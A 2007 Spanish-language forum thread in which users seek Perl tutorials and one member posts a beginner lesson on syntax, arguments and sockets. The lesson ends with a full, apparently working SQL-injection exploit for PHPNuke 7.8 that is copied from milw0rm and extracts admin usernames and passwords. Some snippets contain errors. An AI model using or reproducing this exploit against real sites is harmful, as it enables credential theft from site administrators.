aprender perl

Iniciado por netscape, 21 Octubre 2007, 18:10 PM

0 Miembros y 1 Visitante están viendo este tema.

netscape

hola, me gustaria aprender a programar en perl me podríais decir algun tutorial que estuviese bien sobre perl?

Salu2

lll_swamp_lll

Yo también quiero aprender bién a programar en perl... Cada cosa que pueda ir aprendiendo voy a postearlo acá.

estuve en otros foro de perl como http://perlenespanol.baboonsoftware.com/foro/ mientras que alguien se anime junto a mi a aprender y enseñar lo que uno sabe. De todas formas no se ve tan dificil :P es muy muy similar a C y php.

netscape

|||_swamp_||| gracias por la info, yo también estoy recien iniciandome en este lenguaje y según tengo entendido se pueden crear algoritmos de cifrado, scanners, inyectores de paquetes y exploits osea bastante potente para ser un lenguaje de scripting.

Si encuentro algun tutorial bueno lo subiré.

Saludos!!

^Tifa^

ME gusta Perl es cierto que es bastante facil, ahorita ando aprendiendo Perl con TK para hacer programas graficos.

Mis intenciones con Perl no son para crear exploits, ni cosas dañinas, mas bien lo quiero para crear CGI, sockets de conexión para chats de lan, y otras cosillas simples, creo que vale la pena, gracias por la info de la web.

ÂìmBòt

yo tmb quiero aprender perl lo que mas pueda ya que eso me habre la puerta a C y seguir con otros lenguajes,, gracias por la pagina  ;)

WHK

#5
Estoy aprendiendo algunas cosas en Perl asi que les voy a explicar un poco de lo que hasta ahora he entendido.

Perl es un lenguaje interpretado el cual consiste en sun software llamado "PERL" existente tanto para Linux(por defecto) como para Windows(activeperl) que ejecuta directamente los scripts creados con extensión *.pl

Por ejemplo:
Linux= perl ./archivo.pl
Windows= c:\perl\perl.exe c:\archivo.pl

El que sepa programar en C o en PHP entonces le resultará muy facil poder aprender perl ya que ambos se basan en lenguaje C++ en su gran parte.

Para comenzar lo primero que haremos es descargar ActivePerl si estás en windows  Descarga y si usas Linux entonces ya viene incluido por defecto.

Ahora en Windows utilizaremos el block de notas o el UltraEdit (da igual), en Linux utilizaremos un editro de texto cualquiera como kwrite o gedit. Nunca utilizar Microsoft Word ni Open Office porque el formato de texto no es el mismo.

En el editor de textos vamos a crear nuestro primero primer script:

hola.pl
Código (perl) [Seleccionar]
print('hola');

Ahora lo guardamos como "hola.pl" y desde Linux ejecutamos perl ./hola.pl, desde Windows ejecutas C:\perl\perl.exe c:\hola.pl y en ambos casos verás en la pantalla la palabra "hola".

Al igual que en C y PHP puedes utilizar \n para continuar el texto un reglón mas abajo.

Ahora veremos algunas declaraciones básicas.

declaracion.pl
Código (perl) [Seleccionar]
my $nombre = 'WHK';
my $saludo = 'Hola '.$nombre.' como estas';
print($saludo);


Al ejecutarlo dirá: "Hola WHK como estas"

Si te fijas bién a diferencia de PHP acá tienes que anteponer my antes de cada declaración o hacerla antes de la siguiente manera:

declaracion.pl
Código (perl) [Seleccionar]

my ($nombre, $saludo);
$nombre = 'WHK';
$saludo = 'Hola '.$nombre.' como estas';
print($saludo);


De las dos formas da igual.

Ahora que ya sabemos escribir intentaremos usar algunas funciones como while:

while.pl
Código (perl) [Seleccionar]

my $i = 1;
my $fin = 10;

while ( $i <= $fin ) {
print ('*');
$i++;
}


Esto significa que escribirá el asterisco 10 veces. Puedes reemplazar print '*'; por tu código para que se repita todas las veces que sea necesario.

Puedes usar print de la siguiente manera:
Código (perl) [Seleccionar]
print ('hola');
print ("hola");
print 'hola';
print "hola";


Si por ejemplo necesito escribir las comillas entonces se hace igual que en PHP:
Código (perl) [Seleccionar]
print '<body bgcolor"black" text="red"><center><h2>hola</h2></center></body>';
print "<body bgcolor'black' text='red'><center><h2>hola</h2></center></body>";


Si te fijas bién imprimí comillas simples y doble comillas. Si escribo todo con comillas simples o con comillas dobles entonces dará error.

Ahora utilizaremos variables.

variable.pl
Código (perl) [Seleccionar]

$v1 = $ARGV[0];
$v2 = $ARGV[1];
print "Tu escribiste $0 $v1 $v2";


Ejecutamos perl ./variable.pl 10 30 o c:\perl\perl.exe c:\variable.pl 10 30
$0 significa el nombre del mismo archivo y v1, v2 son las variables. Puedes crear todas las que quieras.

Otro ejemplo:
variable2.pl
Código (perl) [Seleccionar]

$uno = $ARGV[0];
$dos = $ARGV[1];
$tres = $ARGV[2];

if (@ARGV < 2)
{
print "*=======================================*\n";
print "* EXPLOIT bla bla bla by WHK\n";
print "*=======================================*\n\n";
print " Uso : \n";
print " exploit.pl HOST /path/ \n\n";
print " Example :\n\n";
print " exploit.pl www.victim.com /ruta/ \n\n";
exit(1);
}

print $uno;
print $dos;
print $tres . "prueba\n\n";
exit(0);


if (@ARGV < 2) quiere decir que si no están escritas todas las variables entonces explicará su uso.

Ahora usaremos sockets  ;D no se asusten porque no es tan dificil.

sockets.pl
Código (perl) [Seleccionar]
use IO::Socket;
use threads;

$sock = IO::Socket::INET->new(PeerAddr => 'google.cl',
                              PeerPort => 'http('80')',
                              Proto    => 'tcp');

print $sock "Petición\r\n\r\n";

$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";

print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";


Como se ve acá estamos haciendo una petición GET al servidor de google al puerto 80 con el protocolo TCP.

También puedes usar variables en funciones de sockets:
ejemplo.pl
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
use IO::Socket;

if (@ARGV < 2)
{
print "*---------------------------------------*\n";
print "* EXPLOIT for PHPNuke <=7.8 *\n";
print "*---------------------------------------*\n\n";
print " Usage : \n";
print " PHPNuke[1] HOST /[path_phpnuke] \n\n";
print " HOST - Host where is phpnuke example: localhost \n\n";
print " Example :\n\n";
print " PHPNuke[1] www.victim.com /phpnuke/html/ \n\n";
exit();
}

$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];

print "\n";
print "Host : $HOST\n";
print "phpnuke_path : $phpnuke_path\n";
print "\n";
$OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$length = length $query;
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]\n";
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";
print "[*] Connected [OK]\n";
print "[*] Sending exploit [OK]\n\n";
print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search \r\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";

print "[*] Exploit send [OK]\n";
print "[*] Wait for reply...[OK]\n";
while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)<\/b>/ ) {
$OK = 1;
print "[*] Success [OK]\n";
print "[*] USER: $1\n";
}
if ($answer =~ /=\"0">([^:]*)<\/a>/ ) {
$OK = 1;
print "[*] PASSWORD: $1\n";
}
}
if ($OK == 0) { print "[*] Exploit [FAILED]\n"; }

# milw0rm.com [2005-11-16]


Este es un exploit real que bajé desde milw0rm.

Con un poco de imaginación es posible hacer muchas cosas... se que existen maneras de crear procesos y sub procesos con fork , además de controlar paquetes tcp con rawpackets imitando un spoofing ip entre muchas otras cosas.

netscape

Wow, WHK que minitutorial te has currado!, esta bastante bien.

P.D: Haber si te curras un tuto de perl completo ;D  :P.